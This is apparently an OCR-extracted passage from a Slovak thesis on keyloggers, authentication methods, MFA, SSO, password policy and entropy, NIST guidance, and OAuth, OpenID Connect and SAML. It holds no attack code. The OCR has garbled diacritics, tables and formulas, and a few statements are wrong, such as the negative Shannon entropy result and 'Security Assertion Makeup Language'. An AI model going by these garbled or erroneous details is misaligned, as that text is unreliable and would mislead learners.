Keylogger je forma spyware schopna zachytit' aktivitu klavesnice. Aj ked’ v prostredi
korporatov je jeho vyuzitie IT oddelenim celkom bezné na monitorovanie podozrivych
aktivit zamestnancov, pri keyloggeroch tretich stran sa z toho stava problem. Ak sa
keylogger tretej strany dostane do zariadenia, nemame informaciu o tom aky typ to je. Tym
padom obet’ nevie, ¢i jej nekradne hesla, ktoré zadava, spravy ktoré posiela alebo iné
citlivé udaje. Niektoré keyloggery disponuju funkciou zhotovovania screenshotov, ktoré

nasledne posielaja utocnikovi.

Tento druh hrozby vieme spravidla rozdelit do dvoch zakladnych typov, hardvérové
keyloggery a softvérové keyloggery. Softvérové keyloggery mozu byt I'ahsie vloziteI'né do
zariadenia obete, Co je hlavnym dévodom ich CastejSiecho vyskytu. Tento druh hrozby
nepredstavuje riziko pre hardvér systému, avsak je rizikom pre firemné, osobné aktivity
a informacie. Hardvérové keyloggery st lahko pouzitelné, nakolko sa najcastejSie
zapajaju do USB (Universal Serial Bus) portov. Na to aby uto¢nik mohol vlozit
hardvérovy keylogger, musi nadobudnut’ pristup k zariadeniu, €o jeho pouzitie vyrazne

stazuje. [20]
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User Application

User Browser

Keylogger

User Application

Obréazok 6. Reprezentacia softvérového keyloggera [20]

Softvérovy keylogger je vicSinou script alebo program, ktory sa dostane do systému
a zaznamenava stla¢enia klaves. Jediné ¢o je potrebné spravit, je nainstalovat’ globalny
»keyboard hook®. Nasledne st vSetky stlacenia klavesnice zaznamenavané do logovacieho
suboru bez vedomia uzivatela. Tieto logy moézu byt stiahnuté vo formate textového
suboru, alebo mat pridané FTP (File Transfer Protocol) credentials na odosielanie siboru

do FTP serverov uto¢nika. [20]
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STnormal
keyboard

keylogger

Obréazok 7. Reprezentacia hardvérového keyloggera [20]

Hardvérovy keylogger je zapojeny do systému napriklad cez USB porty. Obsahuje prvky,
ktoré monitoruju pripojenie klavesnice, filtrujd data a zaznamenavaji ich do internej
pamiti. Nie su zavislé od ziadneho softvéru, nakolko funguja na hardvérovej turovni. Tieto
keyloggery nemozu byt detekovatel'né softvérmi beziacimi na PC, ako napriklad

antivirusy.

Tento typ keyloggerov je najcastejSie pouzivany na PC s externou klavesnicou. Skuseny
pouzivatel’ si ich teda 'ahko mo6ze vSimnuat, ak ale zostani nepovSimnuté, nie je vela

spdsobov ako im zabranit,, nakol’ko samotny PC o niom nevie. [20]

1.3 Ochrana heslom a autentifikacia

Autentifikacia teda overenie proklamovanej identity subjektu a ochrana heslom je technika
kontrolovaného pristupu, ktord pomaha udrzat' citlivé data v bezpe¢i pred hackermi
uistenim sa, Zze mézu byt pristupné len so spravnymi prihlasovacimi idajmi. Je to jednym
zo zé&kladnych nastrojov datovej bezpe€nosti dostupnej uzivatelom. Na druhej strane sa ale
da lahko obist’ ak ju nevytvorime dostatocne dosledne. Organizacie mozu ulah¢it’ spravu
hesiel tak, aby boli blokované slabé hesla, opakujice sa varianty hesiel a iné 'ahko

uhadnutel'né hesla.
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Heslo je prva linia obrany vo¢i neopravnenému pristupu k uctu ¢i zariadeniu. Vyuzitim
silného hesla je mozné ochranit’ data pred uto¢nikmi. Naopak, pri pouziti slabého hesla je

riziko nadobudnutia neopravneného pristupu ovel'a vyssie. [21]

1.3.1 Autentifikacia

Autentifikacia je pouzivana napriklad ked’ server potrebuje presne vediet’ kto pristupuje
k strankam alebo informaciam. Taktiez je pouzivana klientom, ked’ potrebuje vediet’, Ze
server je systém, za ktory sa vydava. KI'i¢ovym prvkom pri autentifikacii je preukazanie

identity pocitaca alebo pouzivatel'a danému serveru alebo klientovi.

Autentifikacia serverom zvy€ajne zahffia pouzivatel'ské meno a heslo, ktoré je zadané

pouzivatel'om. Inymi variantami mézu byt’ ID karty, biometrické udaje a podobne.

Autentifikacia klientom znamena, ze server odovzda certifikat klientovi. V tomto
certifikate tretia strana uvadza, ¢i naozaj server patri subjektu, ktory je klientom

oCakavany.

Tento proces teda nerozhoduje o Ulohach a povoleniach, ktoré moze pouzivatel' dostat,

jedné sa len o identifikaciu a overenie toho, kto je dand osoba alebo systém. [22]

Existuje viacero sp6sobov tohoto overenia, pricom najzakladnejSim je password-based
authentication. Toto je najzdkladnejSia (a najnebezpe€nejSia) varianta. Jedna sa
0 jednoduché zadanie prihlasovacieho mena ahesla. Dal§imi lep§imi spdsobmi

autentifikacie st napriklad tieto.

1.3.2 Two-factor/Multi-factor authentication (2FA/MFA)

MFA alebo 2FA je spdsob autentifikacie kedy je od uzivatela vyZzadovany viac ako jeden
druh dbkazu totoznosti, na ziskanie pristupu k systému. Vo vSeobecnosti si zname tieto

typy dokazov (faktorov), ktoré moézu byt pre tento druh autentifikacie pouzité. [23]

1.3.2.1 Nieco, ¢o vieme — Hesla, PIN kddy a bezpecnostné otdazky

Hesla aPIN st najbeznejSou formou autentifikacie kvoli jednoduchosti, ktorou su
implementované. Viac¢§ina MFA systémov vyuziva heslo ako prvy z faktorov. Ich vyhodou

je jednoduchost, dobrd pochopitel'nost’ a nativna podpora v kazdom autentifikanom
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ramci. Medzi nevyhody patri nachylnost’ pouzivatel'ov K vytvaraniu a pouZzivaniu slabych
hesiel a ich opakované vyuzivanie medzi systémami. TaktieZ su nachylné na phishingové

atoky.

Bezpecnostné otazky st forma, ktord vyzaduje, aby si uzivatel’ vybral otazku na ktora vie
spravnu odpoved’ len on. Funguju v podstate rovnako ako hesla, ale st povaZzované za
menej bezpecné. Medzi ich nevyhody patri uhadnutel'nost’ odpovedi a mozZnost zisku
odpovede zo socialnych sieti pouzivatel'a a podobnych zdrojov. Dalsim bodom, ktory je

nutné zvazit' je schopnost’ zapamitat’ si odpoved’ aj po rokoch. [23]

1.3.2.2 Nieco, ¢o mame - Hardvérové alebo softvérové tokeny, certifikaty, emaily, SMS
spravy alebo telefonne hovory

Tento faktor je pri spravnej implementacii pre vzdialeného utoénika zlozité
kompromitovat’. Na druht stranu pre pouzivatela predstavuje dodato¢nti administrativnu
zataZ pretoze tento faktor musi mat pri sebe vzdy ked’ ho chce pouzit. Co mbze napriklad

ak uzivatel’ nema pri sebe mobilny telefon, mnoho typov MFA urobit’ nedostupnymi.

Hardvérove tokeny OTP (One Time Password), generuju neustale sa meniace Ciselné kody,
ktoré je potrebné zadat’ v aplikacii pri autentifikacii. NajznamejSim je RSA SecurelD.
Tento generuje Sest'ciferné ¢islo meniace sa kazdych niekol’ko desiatok sekund. Vyhodou
je, ze token je samostatné fyzické zariadenie, ktoré je pre utocnika takmer nemozné
kompromitovat’ na dial’ku. Tieto tokeny je mozné pouzivat’ aj bez toho, aby mal pouzivatel’
pri sebe mobilny telefén. Nevyhodou je komplikované a nakladné nasadenie tychto
fyzickych tokenov, Casova narocnost’ vystavenia nového tokenu pri strate, alebo

V niektorych pripadoch nutnost’ implementécie backend serveru, ktory predstavuje mozny

bod zlyhania.

Softvérové tokeny TOTP predstavuju menej ndkladnu a jednoduchsiu alternativu

Kk hardvérovym tokenom. Vaésinou sa jedna o generované kody TOTP (Time-based One
Time Password). Toto je via¢Sinou zabezpecené inStalaciou aplikdcie na mobilny telefon,
kde potom naskenuje QR kod poskytnuty aplikaciou. Nasledne aplikacia autentifikatora
vygeneruje Sestmiestny kod rovnakym spdsobom ako hardvérovy token. Pri tomto type

tokenu st nizsie naklady a naroky na spravu ¢i implementaciu systému. Pri strate pristupu
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k aplikacii je mozné nakonfigurovat’ nova. Ak by doslo k fyzickému ziskaniu telefonu

s aplikaciou tto¢nikom, zamok obrazovky je schopny ochrénit’ kod avsak musi byt’
nastaveny. Nevyhodou méze byt instalacia TOTP aplikacie na rovnaké zariadenie, ktoré sa
pouziva na autentifikaciu. Tak isto je najcastejSie inStalovana na mobilné zariadenia, ktoré

st nachylnejSie na kompromitaciu.

Certifikaty su subory uloZené na zariadeni uZivatela, poskytované spolu s heslom daného
uzivatela pri prihlasovani. Medzi naj¢astejSie pouzivané patria certifikaty typu X.509,
zname aj ako klientské certifikaty. SU podporované viésinou najznamejSich prehliadacov
a ked’ st nainStalované, nevyzaduju od pouzivatel'a Ziadnu interakciu navyse. Certifikaty
by mali byt spojené s jednym Gétom, aby nedoslo k pokusom o autentifikaciu inymi

uctami.

Vyhodami méZe byt’ odstranenie nutnosti spravovania a nakladného nakupu HW tokenov,
jednoduché pouzivanie a odolnost’ voci phishingu. Medzi nevyhodami je mozné uviest’
narocnejsiu instalaciu, nutnost’ backendovej struktury sukromnych kl'acov, alebo ukladanie
certifikatov na pracovnej stanici pouzivatel’a, ¢o ich robi nachylné na ukradnutie ak je

systém napadnuty.

Emaily tento typ overenia vyzaduje od uzivatela kod alebo klikutie na odkaz, ktory obdrzal
na svoju e-mailovu adresu. Aj ked’ je toto overenie vel'mi jednoduché na implementaciu

a systémové poziadavky, je otdzne, ¢i predstavuje spolahlivi formu MFA.

SMS a telefonne hovory pomocou tohoho typu overenia sa taktiez ziskavaju jednorazové

kody, nasledne zadavané ako dodato¢ny faktor. [23]

1.3.2.3 Nieco, ¢o sme — Odtlacky prstov, rozpozndvanie tvidre, sken oka alebo dlane.

Tento typ autentifikacie je zaloZeny na fyzickych vlastnostiach daného uZivatela. Va¢sinou
sa v8ak vyuziva na mobilnych zariadeniach, pre webové aplikacie je menej pouzivany,

kvoli nutnosti $pecifického hardvéru.

Existuje niekol’ko typov biometrickych tudajov, napr. skenovanie odtlatkov prstov,
rozpoznavanie tvare, skenovanie dihovky, ¢i rozpoznanie hlasu. Vyhodou tohoto

zabezpecenia je rychle apohodlné pouzivanie pre uzivatelov a odolnost, nakolko
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biometrické tdaje je tazké sfalSovat a vyzaduju cieleny Gtok. Medzi nevyhody patria
nutnost’ Specifického hardvéru, (toto vSak uz v dneSnej dobe platit nemusi, nakolko
mnozstvo smartféonov disponuje snimacom odtlatkov prsta, tvare a podobne), nutnost’

manualneho nastavenia uzivatel'om a nutnost’ ukladania tychto citlivych informacii. [23]

1.3.2.4 Lokacia — Rozsahy IP adries alebo geolokéacia

Je dolezité poznamenat’, Ze vyuzitie viacero druhov jedného faktora napriklad heslo aj pin
naraz nepredstavuje MFA. Najbeznej$i spdsob ohrozenia uctov predstavuja slabé hesla. Pri
pouziti MFA je mozné zlep$it' obranu voci viésine Gtokov suvisiacich s kompromitaciou
hesiel napr. brute-force atd’. Analyza Microsoftu ukazuje, ze jej pouzitim je mozné predist’
99,9% kompromitacii uctov. Nevyhodou MFA je zvySenie naroCnosti spravy pre
administratorov aj pouzivatel'ov. Okrem iné¢ho su aj d’alSie dovody, kedy nemozno MFA
pouzit. Napriklad ak sa jedna o tym MFA vyzadujaci Specificky hardvér, ak MFA vnesie
do aplikécie zlozitost’, ak vyZzadovanie MFA brani pouzivatel'om v pristupe do aplikacie, ¢i
rieSenia MFA, ktoré pridavaju systémom externé zavislosti s moznostou ohrozenia

zabezpecenia alebo pridania slabych miest.

NajdolezitejSim ¢asom a miestom na vyziadanie MFA je prihldsenie pouzivatela. Ak sa
vSak jednd o citlivé operacie, mala by byt’ vyZzadovana aj pri zmene hesla, zmene emailove;j

adresy uctu, zakazanie MFA alebo zvySenie privilégii G¢tu na administratorské. [23]

1.3.3 Single Sign-On (SSO)

SSO pracuje na koncepte centralizovanej sluzby, kde uzivatel mdze byt autorizovany
pouzitim jednej sady prihlasovacich tdajov. Pomocou generovanych suborov cookies
a kontrolou relacie, mozu byt’ pouzité aj rovnaké Udaje na zisk prava a vstup do jednej
aplikécie. Napriklad prihlasenie cez sluzby ako Facebook ¢i Google, ktoré st spol'ahlivé
platformy pre SSO, pricom kazdd umoziiuje ziskat pristup na niekolko sluzieb tretich

stran.

Skalovatelnost poskytovana SSO je jednou znajvadsich vyhod SSO, kde existuje

mechanizmus automatického ovladania prihlasovacich udajov pouzivatela tak, aby bolo
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mozné vykonat’ zmeny a robit’ tllohy suvisiace s pristupom pouzivatel'a. Tymto spdsobom
je tak mozné zniZovat' chyby sposobené I'udskym faktorom a odstranenim nutnej spravy

moze ziskat’ IT oddelenie viac ¢asu na rieSenie inych, dolezitejSich uloh. [24]

._EL Website A
/

. Username
Password @ I Website B

User 550 \ I
@ Website C

Obrazok 8. Single sign-on znazornenie [25]

h J

Pri rieSeni pomocou SSO teda web neuklada prihlasovacie udaje do svojej databazy, ale
vyuziva zdiel'ané autentifikacné servery, kde uzivatel' zadd svoje prihlasovacie udaje iba
raz. Kvoli tomuto je mimoriadne potrebné integrovat’ prihlasovacie udaje SSO s inymi

silnymi prostriedkami autorizacie ako MFA a silné hesla.

Funkénost’ SSO pracuje nasledovne. Pouzivatel’ zada prihlasovacie udaje a tieto Udaje sa
odoslu na server SSO riesenia. Server SSO overi zadané prihlasovacie udaje v databaze
pouzivatelov. Ak si tieto udaje sprdvne, vygeneruje sa token autentifikdcie. Webova
stranka alebo aplikacia z ktorej bol pouzivatel’ presmerovany, odosle serveru SSO rieSenia
ziadost’ o autentifikiciu. V tejto ziadosti je zahrnuty spominany token vygenerovany
serverom SSO. Nésledne server overi token a ak je platny, odosle webovej stranke alebo
aplikacii informacie o identite pouzivatel'a. Na zéklade informacii o identite mu webova

stranka alebo aplikacia udeli pristup k pozadovanym zdrojom. [25]
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Obrazok 9. Princip autentifikacie pomocou SSO [25]

1.3.4 Biometric authentication

Biometrickd autentifikdcia vyuziva na rozpoznanie jednotlivcov fyzické alebo
behavioralne charakteristiky ako alternativu k standardnym heslam. Vyhodou je, Ze tieto
charakteristiky nie je mozné tak jednoducho stratit’” v porovnani s heslami. Navyse je pre
uzivatela jednoduchSie polozit' prst na skener, ako pisat’ heslo. V kontexte mobilnych
telefonov ale v dnesnej dobe uz aj laptopov, sit moznosti biometrickej autentifikacie rdzne.
NajcastejSie sa jedna o odtlacky prstov, skeny tvare, hlas a podobne. Uzivatelia si ale
v mnohych pripadoch neuvedomujt, ze uchovavaju ich fyzické charakteristiky v Castokrat

nezabezpeéenych platformach ako cloudové uloziska a podobne. [27]
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Obrazok 10. Princip autentifikacie pomocou SSO [26]

Moznosti biometrickej autorizacie su nasledovné.

1.3.4.1 Fyziologické metody biometrickej autentifikacie

Sken odtlacku prsta — tato moznost' autentifikacie funguje vdaka obrazcom
papilarnych linii na vnatornej strane ¢lankov prstov, ktoré su unikatne pre kazdého

¢loveka. Jednd sa o0 jednu z najpouzivanejSich biometrickych typov autentifikacie.

Rozpoznanie tvare — tvare su najviac rozlisitelnym aspektom l'udskej biometriky.
Rozpoznanie tvare je popularne aj preto, ze hardvérové zariadenia potrebné na
identifikéaciu tvare s v porovnani s inymi technolégiami ako napr. sken duhovky
oka celkom lacné. Toto ztejto moznosti robi v dne$nej dobe jednu
Z najpouzivanejSich biometrickych metdd pre mobilné zariadenia, napriklad Face
ID.

Rozpoznanie duhovky oka — pri tejto metdde je naskenovana dudhovka na

verifikdciu identity pouzivatela. Tato moznost, podobne ako odtlacky prstov
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vyuziva to, ze kazdy Clovek ma unikatnu dahovku. Zaroven charakteristika
duhovky je velmi komplexna. Vyhodou skenu duhovky napriklad oproti skenu
tvare je z dlhodobého hl'adiska to, ze duhovka sa s vekom nemeni. [27]

1.3.4.2 Behavioralne metody biometrickej autentifikacie

- Chédza - této technoldgia rozpoznania je relativne nova a zalezi na meraniach
a analyze toho, ako dana osoba kraca alebo behd, s vyuzitim akcelera¢nych
signalov produkovanych mobilnym zariadenim, ktoré maju pri sebe. Tato funkcia
funguje na smartfonoch vd’aka v nich vstavanych senzoroch ako je akcelerometer,

gyroskop a pod.

- Gestd — touch gestures st rukou nakreslené tvary na dotykovej obrazovke
pomocou jedného alebo viacerych dotykov. Kazdy z tychto dotykov ma numerické
stradnice a charakteristiky ako smer, dizka dotyku, rychlost’ a akceleracia pohybu.

Tieto su potom analyzované samostatne alebo v kombinacii.

- Dynamika klavesnice — znama aj ako dynamika pisania je proceddra pri ktorej su
nahravané uzivatelove vstupy a stlaenia klavesnice. Tieto su potom analyzované

na zaklade navykov v pisani.”

- Behavioralny profil — profilom je vtomto pripade suhrn informacii o spravani
Cloveka v r6znych situaciach s dérazom na prejavy, rozhodovanie a ¢innosti. Déata
0 pouzivani mobilného zariadenia mozu byt pouzité pre behavioralnu
autentifikdciu jednotlivca na zaklade toho, ako Standardne postupuju, aké
charakteristiky vykazuji pri pouzivani mobilného zariadenia a podobne. Tento
profil moéze byt skonStruovany aj na zaklade interakcie s wi-fi sietou,

poskytovatel'om a podobne. [27]

1.3.5 Token-based authentication

Tento typ autentifikdcie zavisi na protokole, ktory dovoli uzivatelom verifikovat ich
identitu, a vrati im unikatny pristupovy token. Pocas doby Zzivota tohoto tokenu mdzu

uzivatelia pristupovat’ na web alebo k aplikécii, pre ktord bol tento token vydany. Nemusia
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teda pri kazdom navrate k prihldseniu zadavat prihlasovacie udaje alebo iné¢ udaje

zabezpecené rovnakym tokenom.

Token-based authentication je rozdielna oproti tradicnej forme autentifikicie vo forme
hesiel alebo server-based foriem autentifikacie. Tento token ponuka dalSiu vrstvu
zabezpecenia. Administratori maji navySe detailni kontrolu nad kazdou akciou

a prenosom. [28]

Autentifikacné tokeny vo vSeobecnosti slizia na povolenie pristupu. Existuja vSak rozne

typy, ktoré sa medzi sebou lisia. Zakladné typy tokenov mozu byt’ napr. tieto.

1.3.5.1 Connected token

KTace, disky, alebo iné fyzické zariadenia, ktoré sa pripajaju do systému s cielom ziskania
pristupu. NajCastejSie byvaju vyuzivané USB kl'uCe alebo smart karty. [28]

1.3.5.2 Contactless token

Tento typ tokenu je zariadenie, ktoré sa fyzicky nezapaja do zariadenia, ale staci ak je toto
zariadenie dostato¢ne blizko servera a je schopné s nim komunikovat’. Prikladom méze byt

magic-ring od spolo¢nosti Microsoft. [28]

1.3.5.3 Disconnected token

Pri tomto type nemusi byt zariadenie s tokenom v blizkosti servera, ani nemusi byt
fyzicky pripojené. Dokdze tak uzivatel'a autentifikovat’ aj na velké vzdialenosti. Typickym

prikladom je overenie identity na mobilnom teleféne pri 2FA. [28]

1.4 Politiky hesiel a odporicania

Jednym z aspektov ovplyviiujucim tvorbu hesiel je ten, ze l'udia su zvyknuti si veci
zl'ah¢ovat. Toto samozrejme plati aj pri vytvarani hesiel. Ak im spravca nastavi nutnost’
vytvorenia nového hesla kazdy mesiac, je pravdepodobné, ze 'udia budu vytvarat’ hesla vo

forméate povodné heslo + pridanie Casti, ktora splni nutnost’ zmeny, Casto Cislovky, roky
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a podobne, napriklad takto PasswOrd2023 zmeni na PasswOrd2024, alebo len iteruje na
PasswOrd1, Passw0rd2, PasswOrd3. Tymto teda vznika velké riziko mozného prelomenia
hesla. Preto je nutné ndjst kompromis medzi tym ako casto vyzadovat zmenu hesla
a zaroven pozadovanu komplexnost’ hesla, aby bolo zamedzené opakovaniu starych hesiel
alebo vytvéraniu jednotvarnych, kratkych alebo inak nebezpednych hesiel. Subor pravidiel

a nastaveni, ktory tento problém riesi sa nazyva heselna politika, teda password policy.

1.4.1 Secure passwords

Pouzivanie Tlahko uhadnutelného hesla je ako zamknutie dveri, ale nechanie kl'uca
v zadmku z vonku. Tieto hesla mozu byt 'ahko prelomené, ako je ukdzané aj v praktickych
ukazkach. AvSak je takmer nemozné pamitat si komplexné silné heslo pre kazdy ucet.
S tymto problémom ale moze pomdct Password Manager, ktory je rozobrany neskor
v kapitole. 1.7. [29]

Pri tvorbe hesla by mal byt kladeny doraz na komplexnost, bezpeéni dizku
a nepouzivanie slov beZného jazyka. Zdroj uvadza, Ze pri vytvarani silného hesla je

dodlezité splnit’ tri zakladné body.

1. Bezpetna dizka hesla — idealne aspoii 16 znakov, ale ¢im viac tym lepsie. Pri
tomto bode je doleZité poznamenat’, e bezpeéna dizka sa meni v Gase.

2. Nahodné heslo — sposob akym toto docielit’ je napriklad mieSanie pismen, Cisel
a znakov. Napriklad cXmnzZK65rf*&DaaD alebo Yuc83RikA34%ZoPPao98t.

3. Unikatne heslo — najlepsie je, pouzivat' iné heslo pre kazdy ucet z jedného
doévodu. Ak dbjde k uniku nasho hesla, Gto¢nik potom pomocou tohoto hesla ziska

pristup k ostatnym G¢tom pouzivajiicim toto heslo. Vid’ Credential stuffing. [29]

1.4.2 Entropia hesla

Entropia v kontexte hesiel znazoriiuje meranie sily hesla. Inymi slovami ako silné dané
heslo je proti itokom zaloZenym na hadani hesla, teda brute-force. Jedind moZznost’ obrany
proti takémuto utoku je pouzit’ dostato¢ne komplexné heslo, ktoré zaberie vel'mi dlhy cas

na uhadnutie, idealne az niekol’ko milionov rokov.
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Pocet pokusov potrebny na uhadnutie hesla pri entropii je vyjadrené pomocou bitov, ak ma
heslo n bitov entropie, uto¢nik potrebuje 2™ pokusov na uhadnutie. To teoreticky znamena,
7e ¢im vidsia entropia, tym lepsie heslo. Ak je teda wtok brute-force. Statisticky je ale
velkd Sanca, ze uto¢nik uhddne heslo skor ako na posledny pokus, preto je Casto brany

pocet hadani potrebnych na 50% $ancu najdenia hesla.

V matematickom pojati je entropia vyjadrena takto E = log,(RL), kde R je velkost
,,poolu, teda unikatnych znakov z ktorych je heslo zloZené. L je pocet znakov v hesle. Co

sa da upravit’ ajna formu E = L-log,(R). [30]

Pre zndme mnoziny znakov to teda moze vyzerat’ nejako takto.

Pool
Pool Elements

size
Digits 0-9 10
Lowercase Latin letters a-z 26
Uppercase Latin letters A-Z 26
Latin letters a-z A-Z 52
Alphanumeric a-z. 0-9 36
Alphanumeric &

a-z A-Z 0-9 B2

uppercase
Special symbols (typical  “~l@#5% A &5()- .
U.S. keyboard) =_+[Ih\

Obrézok 11. Pool size pre zname mnoziny znakov [30]

Standardne sa ale na uréenie entropie pouziva Shannonov index, ktory funguje takto

Pre retazec znakov s N polozkami a s k odlisnymi, kazdy prvok i s mnozstvom vyskytov ni

a frekvenciou vyskytu pi = % Napriklad DCODE ma 5 znakov z ¢oho 4 su rozne.
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Pismeno D sa objavi dvakrat, Cize jeho frekvencia je S Pismena C, O a E sa objavia
. , .1 .
jedenkrat, teda s frekvenciou pt [59] vypocet je:

k

H=- Z pi log,(p;)
i=1

H=- (g log, G) + 3 -%logz (g)) ~ —1,922

Co sa viak stane ak je nutné uréit’ entropiu znaku, ktory sa v slove nenachadza?

Z matematického hl'adiska nie je log, (0) definovany. Co by teda vo vypoéte mohlo
predstavovat’ zna¢ny problém. Podl’a knihy ,,Information Theory, Inference, and Learning
Algorithms* je vSak tento stav definovany takto: ,,Entropia suboru X je definovana ako

priemerny Shannonov informa¢ny obsah vysledku.*
k
H(X) Pil L
= - ilog—
5Ppi

XEA,

Ak Pi = 0 pre ur¢ita hodnotu i, znamena to, Ze tato hodnota i nemoze nastat’ v ramci
daného rozdelenia pravdepodobnosti. Pri tomto scenari by klasicky vypocet pomocou

logaritmu viedol k nekone¢ne vel'kej hodnote. Aby vSak tento scenar nenastal, je pouzita
konvencia 0 - log% = 0. Tato konvencia teda hovori, ze ak Pi je rovna 0, je tato hodnota

vynasobena nulou, a teda je zachovany nulovy vysledok. Dovod preco je toto mozné

spo¢iva v limitdich 6—0" , teda 6 (Theta. V tomto kontexte predstavuje premennd, ktorej
hodnota je skimana v limite) sa blizi k nule z kladnej strany, limita %in;l) 0 log% skuto¢ne
konverguje k nule. [61]

Netreba sa vSak spolichat’ len na tuto moznost’ a doverovat’ plne iba entropii. MoZe sa stat’,

ze aj napriek dvom heslam s rovnakou entropiou bude jedno z nich vel'mi slabé. Napriklad

xbzkacfz a password. Tieto heslda maju rovnak(l entropiu, pretoze pouzivaji rovnaku
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mnozinu znakov a maju zhodny pocet znakov rovnakych a rozdielnych v ramci slova .
Heslo password je vsak vel'mi nebezpetné kvoli pouzivaniu slovnikov hesiel, kde je
zoznam uniknutych a [lahko uhadnutelnych hesiel. Nésledne potom pomocou
slovnikového alebo rainbow table Gtoku, ako je v praktickej ukazke demonstrované, je

vel'mi jednoduché tieto hesla prelomit’. [30]

1.4.3 Password guidelines

Od roku 2014 Narodny institat pre Standardy a technologie (NIST) a U.S. federélna
agentura vydava guidelines resp. pravidlad pre meneZovanie digitalnych identit. Taktiez
poskytuje odporucania a poziadavky ako by si mali uzivatelia vytvarat’ hesla alebo robit’

zmeny Vv uz existujucich heslach. Poziadavky pre tvorbu hesiel by mali byt nasledovné.

1. PouZivatel'om generované hesla nesmi byt kratSie ako 8 znakov.

2. Strojom generované hesld nesmu byt kratSie ako 6 znakov.

3. Vsetky znaky z ASCII a Unicode by mali byt povolené, vratane emotikonov
a medzier.

4. Ukladané hesla musia byt hashované a ,,posolené*. Zaroven nikdy skratené.

5. Zadané heslo by malo byt porovnané s databdzou uniknutych hesiel a ak sa
V nej nachadza, malo by byt odmietnuté.

6. Heslo by nemalo exspirovat’.

7. Uzivatel'ovi by malo byt zabranené v pouziti opakujucich sa alebo sekvencne
idacich znakov napr. ,,aaaa* alebo,,1234.

8. Pripouziti 2FA by nemali byt pouzivané SMS kody.

9. Knowledge-based autentifikacia by nemala byt pouzivana, napr. ,,aké je meno
vasho doméaceho zvieratka?*.

10. Pouzivatel'ovi by malo byt dovolené zadat" 10 krat nespravne heslo pred
zamknutim systému alebo sluzby.

11. Heslo by nemalo mat’ napovedy.

12. VyZzadovanie komplexnosti, napriklad vyZadovanim pouZitia Specidlnych
znakov, Cisel a velkych pismen by nemalo byt puzité. (pouzivatel by si mal
zvolit’ sam).

13. Kontextovo Specifické slova ako mend by nemali byt’ zakazané.
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Niektoré z tychto odportacani sa nezhoduju s predchodzimi Standardami. NIST odobral
vyzadovanie komplexnosti preto, Ze uzivatelia nasli spdsoby ako tieto komplexné hesla
obist napriklad recyklovanim starych hesiel alebo pouzitim slovnikovych slov
s minimalnymi zmenami. Daliim problémom je obava zo zabudnutia hesla, preto si
niektori uzivatelia miesto zapamitania hesla, toto heslo jednoducho napisali na papier

a nechali pri pocitaci. [31]

1.4.4 Authentication standards

Autentfika¢né Standardy nastavuju poziadavky pre poskytovanie pristupu k aplikaciam,
ktoré uchovavaji spracovavaju alebo prenaSaju data. Medzi najrozSirenejSie patria

napriklad tieto.

1.4.4.1 Oauth Authorization standard

Oauth je open-standard autorizatny protokol, umoziujuci pouzivatelom zdiel'at
informéacie z existujuceho systému na novy, bez potreby zdiel'ania rovnakych informacii
Snovymi systémami opakovane. Prikladom pouzitia moéze byt povolenie aplikacie
pristupovat’ k inej aplikacii a ziskat' pristup ku kontaktnym informaciam alebo datam
z profilu. Tato autorizécia je spustend ked uzivatel povoli Identity Providerovi zdiel'at

token s novou aplikaciou, ktory zostane aktivny az pokial’ nie je odvolany.

Ciel'om Oauth je poskytnat’ klientovi bezpe¢ny delegovany pristup k zdrojom serveru
v mene vlastnika tychto zdrojov. Hlavnym rozdielom medzi OpenID a Oauth je, Ze tieto

Standardy st skor Specifikdciami, zatial <o SAML je ndstroj pripraveny na pouZitie.

Oauth funguje tak, ze na autorizacnej stranke poskytovatela OAuth sa pouzivatel’ prihlasi
pomocou svojich prihlasovacich udajov, ¢im da sthlas aby webova stranka pristupovala
Kk jeho informaciam. Po ispesnom prihlaseni sa pouZzivatel'ovi zobrazi zoznam opravneni,
ktoré webova stranka alebo aplikacia pozaduje. Ak uzivatel schvali opravnenia, je
vygenerovany pristupovy token, umoZznujuci webovej stranke alebo aplikacii pristupovat
k informacidm v mene pouzivatela. Webova stranka alebo aplikacia mdze pomocou
pristupového tokenu pristupovat’ k informacidm pouzivatela na serveri poskytovatela

OAuth pricom tieto informacie mézu zahriat' kontakty, e-mail a podobne. [32]



UTB ve Zliné, Fakulta aplikované informatiky

41

Resource Server

Client Application

Access data

~. Issue authz code/

Access service
s, access token
-

coscsnscacse i
A«

#
[
’
-
*......------.

Grant access

L
L
,
>
#
L4
*
¥

[ |
Resource Owner ———-

Authorization Server

Obrazok 12. Princip fungovania Oauth 2.0 [33]

1.4.4.2 OpenlID Connect Authentication Standard

Delegate
authentication
authorization

Openld Connect je vrstva nad OAuth, teda overovaci protokol umoznujici prihlasenie

uzivatel'ov na webové stranky alebo aplikdcie pomocou ich existujlcich povereni z inej

lokality. Pridava teda dalSiu vrstvu zabezpecCenia. Toto zabezpeCenie je realizované

Sifrovanim spojenia medzi uZivatelom a webom resp. aplikaciou, ¢o vyraznejSie stazi

itoénikom zachytenie prihlasovacich tdajov. Dalfou funkcionalitou tejto vrstvy je

umoznenie prihldsenia bez nutnosti zapamitania si mena a hesla pre kazd( stranku,

nakol'’ko umoziuje pouzitie Udajov z inej stranky.

Openld je vyvojarom popisana ako jednoduchd vrstva zaloZzend na OAuth 2.0 protokole,

umoziujici klientom overit' identitu pouzivatela pomocou overenia vykonavaného

autorizatnym serverom. Tento protokol bol vytvoreny uz vroku 2014 afunguje
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nasledovne. K Ziadosti o autorizaciu OAuth je pridand hodnota rozsahu OpenlD, kde
idedlne existuji dva hlavné bloky. RPS (Relying parties) OAuth klienti pouzivajici
OpenID Connect (OIDC) a OPS (OpenID providers), teda autentifika¢né servery OAuth
2.0, ktoré implementuji OIDC. [32]

1.4.4.3 SAML Authorization and Authentication Standards

Security Assertion Makeup Language (SAML) je otvorenym Standardom sliZiacim na
vymenu informécii o autorizacii a autentifikacii medzi poskytovatelmi sluzieb

a poskytovatel'mi identity. SAML ma Styri zakladné koncepty, medzi ktoré patria:

- Protokoly: zobrazenie zabalenia niektorych prvkov SAML v ramci poziadaviek
a odpovede SAML

- Profily: detailny popis toho ako protokoly, vazby a assertions spolupracuju
s cielom podpory definovaného pripadu pouzitia.

- Véazby: SAML protokol je mapovany na Standardné formaty sprav.

- Bezpecnostné Assertions:. fakty pouzivané poskytovatelmi sluzieb na prijimanie

rozhodnuti o kontrole pristupu

Tento standard narozdiel od predoslych pouziva na konfiguraciu a zapis subory typu XML,
pricom OAuth a OpenID pouzivaju JWT a HTTP. [32]

1.5 Sifrovanie a ukladanie hesiel

